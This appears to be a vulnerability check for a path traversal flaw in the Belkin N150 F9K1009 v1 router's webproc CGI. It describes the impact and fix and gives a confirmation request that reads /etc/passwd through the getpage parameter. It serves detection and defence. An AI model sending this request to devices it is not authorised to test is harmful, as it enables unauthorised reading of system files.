Readycheck to confirm it

A path traversal vulnerability in the webproc cgi module on the Belkin N150 F9K1009 v1 router with firmware before 1.00.08 allows remote attackers to read arbitrary files via a full pathname in the getpage parameter.

Impact

An attacker can exploit this vulnerability to view sensitive files, potentially leading to unauthorized access, data leakage, or further compromise of the system.

Fix

Ensure that appropriate firewall rules are in place to restrict access to port 80/tcp from external untrusted sources.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/webproc?getpage=/etc/passwd&var:page=deviceinfo
Positive when: matches /root:.*:0:0:/ AND status 200
